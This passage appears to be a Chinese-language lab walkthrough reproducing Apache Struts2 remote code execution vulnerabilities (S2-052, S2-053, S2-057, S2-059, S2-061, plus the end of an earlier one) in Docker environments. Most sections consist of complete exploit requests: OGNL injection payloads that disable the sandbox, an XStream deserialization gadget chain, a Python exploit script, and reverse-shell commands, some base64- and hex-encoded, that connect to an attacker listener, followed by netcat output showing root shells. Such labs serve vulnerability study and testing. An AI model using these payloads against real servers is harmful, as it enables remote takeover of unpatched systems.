POST /integration/saveGangster.action HTTP/1.1 Host: 10.0.0.7:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 72 Origin: http://10.0.0.7:8080 Connection: close Referer: http://10.0.0.7:8080/integration/editGangster.action Cookie: JSESSIONID=D3E7DADD6D479AA556400C64AFD3F78C Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 Pragma: no-cache Cache-Control: no-cache name="%25{(%23nike%3d'multipart/form-data').(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context['com.opensymphony.xwork2.ActionContext.container']).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3d'bash+-i+>%26+/dev/tcp/10.0.0.3/2333+0>%261').(%23iswin%3d(%40java.lang.System%40getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3d(%23iswin%3f{'cmd.exe','/c',%23cmd}%3a{'/bin/bash','-c',%23cmd})).(%23p%3dnew+java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3d%23p.start()).(%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream(),%23ros)).(%23ros.flush())}%00b"&age=11&__checkbox_bustedBefore=true&description=2134
-
成功GetShell
┌──(root㉿kali)-[~] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 59686 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@4ac62c8d2ac1:/usr/local/tomcat# id id uid=0(root) gid=0(root) groups=0(root) root@4ac62c8d2ac1:/usr/local/tomcat#
14 S2-052 远程代码执行漏洞
影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
漏洞详情:
1.1 环境安装
docker-compose up -d
- 安装完成后访问:
http://your-ip:8080/orders.xhtml
即可进入测试页面
1.2 漏洞利用过程
-
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:
扩展名 Content-Type 解析方法 xml application/xml xstream json application/json jsonlib或jackson(可选) xhtml application/xhtml+xml 无 无 application/x-www-form-urlencoded 无 无 multipart/form-data 无 jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:
<classname></classname> //或者 <paramname class="classname"></paramname>
所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。
-
由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。
-
POC:
POST /orders/3/edit HTTP/1.1 Host: your-ip:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/xml Content-Length: 2415 <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>touch</string> <string>/tmp/success</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
- 以上数据包成功执行的话,会在docker容器内创建文件
/tmp/success
,执行docker-compose exec struts2 ls /tmp/
即可看到。
- 以上数据包成功执行的话,会在docker容器内创建文件
1.3 GetShell
-
EXP:在远程命令执行过程中,由于务器不识别&这个符号,需要编码,将&换成
&
,如图。POST /orders/3 HTTP/1.1 Host: 10.0.0.7:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/xml Content-Length: 1708 Origin: http://10.0.0.7:8080 Connection: close Referer: http://10.0.0.7:8080/orders/3/edit Cookie: JSESSIONID=EFAEC92A3416EE1B3D6F14AB40A68405 Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 Pragma: no-cache Cache-Control: no-cache <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>bash</string> <string>-c</string> <string>bash -i >& /dev/tcp/10.0.0.3/2333 0>&1</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry>
-
Getshell:
┌──(root㉿kali)-[~] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 43768 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@703573a1c5f3:/usr/local/tomcat# id id uid=0(root) gid=0(root) groups=0(root) root@703573a1c5f3:/usr/local/tomcat#
15 S2-053 远程代码执行漏洞
影响版本: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
漏洞详情:
- http://struts.apache.org/docs/s2-053.html
- https://mp.weixin.qq.com/s?__biz=MzU0NTI4MDQwMQ==&mid=2247483663&idx=1&sn=6304e1469f23c33728ab5c73692b675e
15.1 环境安装
docker-compose up -d
- 安装完成后访问:
http://your-ip:8080/hello.action
即可进入测试页面
15.2 漏洞利用过程
-
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。当在Freemarker标签中使用表达式文本或强制表达式时,使用以下请求值可能会导致远程代码执行这两种情况下,值属性都使用可写属性,都会受到Freemarker表达式影响。
<@s.hidden name="redirectUri" value=redirectUri /> <@s.hidden name="redirectUri" value="${redirectUri}" />
-
输入如下Payload即可成功执行命令:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
-
注:上述Payload末尾的换行不能掉(也就是说payload后面必须跟一个换行),再发送即可成功。
POST /hello.action HTTP/1.1 Host: 10.0.0.7:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 981 Origin: http://10.0.0.7:8080 Connection: close Referer: http://10.0.0.7:8080/hello.action Cookie: JSESSIONID=CAA72CA9F92FE4BBD37E59552D6023E7 Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 Pragma: no-cache Cache-Control: no-cache redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0D%0A
15.3 GetShell
-
EXP Payload:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/10.0.0.3/2333 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
-
执行EXP:
POST /hello.action HTTP/1.1 Host: 10.0.0.7:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 1033 Origin: http://10.0.0.7:8080 Connection: close Referer: http://10.0.0.7:8080/hello.action Cookie: JSESSIONID=CAA72CA9F92FE4BBD37E59552D6023E7 Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 Pragma: no-cache Cache-Control: no-cache redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.0.0.3%2F2333+0%3E%261%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0D%0A
-
Getshell
┌──(root㉿kali)-[~] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 58290 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@f66c90240751:/usr/local/tomcat# id id uid=0(root) gid=0(root) groups=0(root) root@f66c90240751:/usr/local/tomcat#
16 S2-057远程执行代码漏洞(CVE-2018-11776)
官方对这次漏洞的描述是:
- 定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行。
- url标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行。
- 具体分析可参考:https://www.freebuf.com/vuls/182006.html
16.1 环境安装
docker-compose up -d
- 安装完成后访问:
http://your-ip:8080/showcase
即可进入测试页面
16.2 漏洞利用过程
-
S2-057需要的条件
alwaysSelectFullNamespace
为true。- action元素没有设置namespace属性,或者使用了通配符。
- 命名空间将由用户从uri传递并解析为OGNL表达式,最终导致远程代码执行漏洞。
-
POC:
http://your-ip:8080/struts2-showcase/$%7B1+1%7D/actionChain1.action
16.3 GetShell
-
EXP Payload:
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
-
执行EXP:
GET /struts2-showcase/%24%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%77%4c%6a%41%75%4d%79%38%79%4d%7a%4d%7a%49%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d/actionChain1.action HTTP/1.1 Host: 10.0.0.7:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=00F078917620BE55A24332BFEB5F3D69 Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 Pragma: no-cache Cache-Control: no-cache
-
Getshell:
┌──(root㉿kali)-[~] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 60526 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@72242023410f:/usr/local/tomcat# id id uid=0(root) gid=0(root) groups=0(root) root@72242023410f:/usr/local/tomcat#
17 Struts2 S2-059 远程代码执行漏洞(CVE-2019-0230)
Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。
影响版本: Struts 2.0.0 - Struts 2.5.20
参考链接:
- https://cwiki.apache.org/confluence/display/WW/S2-059
- https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776
17.1 环境安装
docker-compose up -d
- 安装完成后访问:
http://your-ip:8080/?id=1
即可进入测试页面
17.2 漏洞利用过程
-
POC:
http://your-ip:8080/?id=%25%7B233*233%7D
,可以发现233*233的结果被解析到了id属性中: -
《OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)》给出了绕过struts2.5.16版本的沙盒的poc,利用这个poc可以达到执行系统命令。
-
通过如下Python脚本复现漏洞:
import requests url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}" } res1 = requests.post(url, data=data1) # print(res1.text) res2 = requests.post(url, data=data2) # print(res2.text)
17.3 GetShell
-
EXP Payload:
%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}'))}
-
执行Payload:
GET /?id=%25%7b%28%23%63%6f%6e%74%65%78%74%3d%23%61%74%74%72%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%29%2e%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%77%4c%6a%41%75%4d%79%38%79%4d%7a%4d%7a%49%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%27%29%29%7d HTTP/1.1 Host: 10.0.0.7:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node01iq7fzw6vzzkwk6lqerus5jht0.node0 Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 Pragma: no-cache Cache-Control: no-cache
-
GetShell:
┌──(root㉿kali)-[~] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 35894 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@4a3fa7f3d99d:/usr/src# id id uid=0(root) gid=0(root) groups=0(root) root@4a3fa7f3d99d:/usr/src#
18 Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)
S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25。
参考链接:
- https://cwiki.apache.org/confluence/display/WW/S2-061
- https://github.com/ka1n4t/CVE-2020-17530
- https://www.anquanke.com/post/id/225252
- https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g
18.1 环境安装
docker-compose up -d
- 安装完成后访问:
http://your-ip:8080/index.action
即可进入测试页面
18.2 漏洞利用过程
-
POC:
POST /index.action HTTP/1.1 Host: 10.0.0.7:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node05v3efi2au0yb4krdf14f3atq0.node0 Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 Pragma: no-cache Cache-Control: no-cache Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 827 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
18.3 GetShell
-
执行payload
POST /index.action HTTP/1.1 Host: 10.0.0.7:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node05v3efi2au0yb4krdf14f3atq0.node0 Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 Pragma: no-cache Cache-Control: no-cache Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 914 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
-
GetShell:
┌──(root㉿kali)-[~] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 46476 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@19a80abe934f:/usr/src# id id uid=0(root) gid=0(root) groups=0(root) root@19a80abe934f:/usr/src#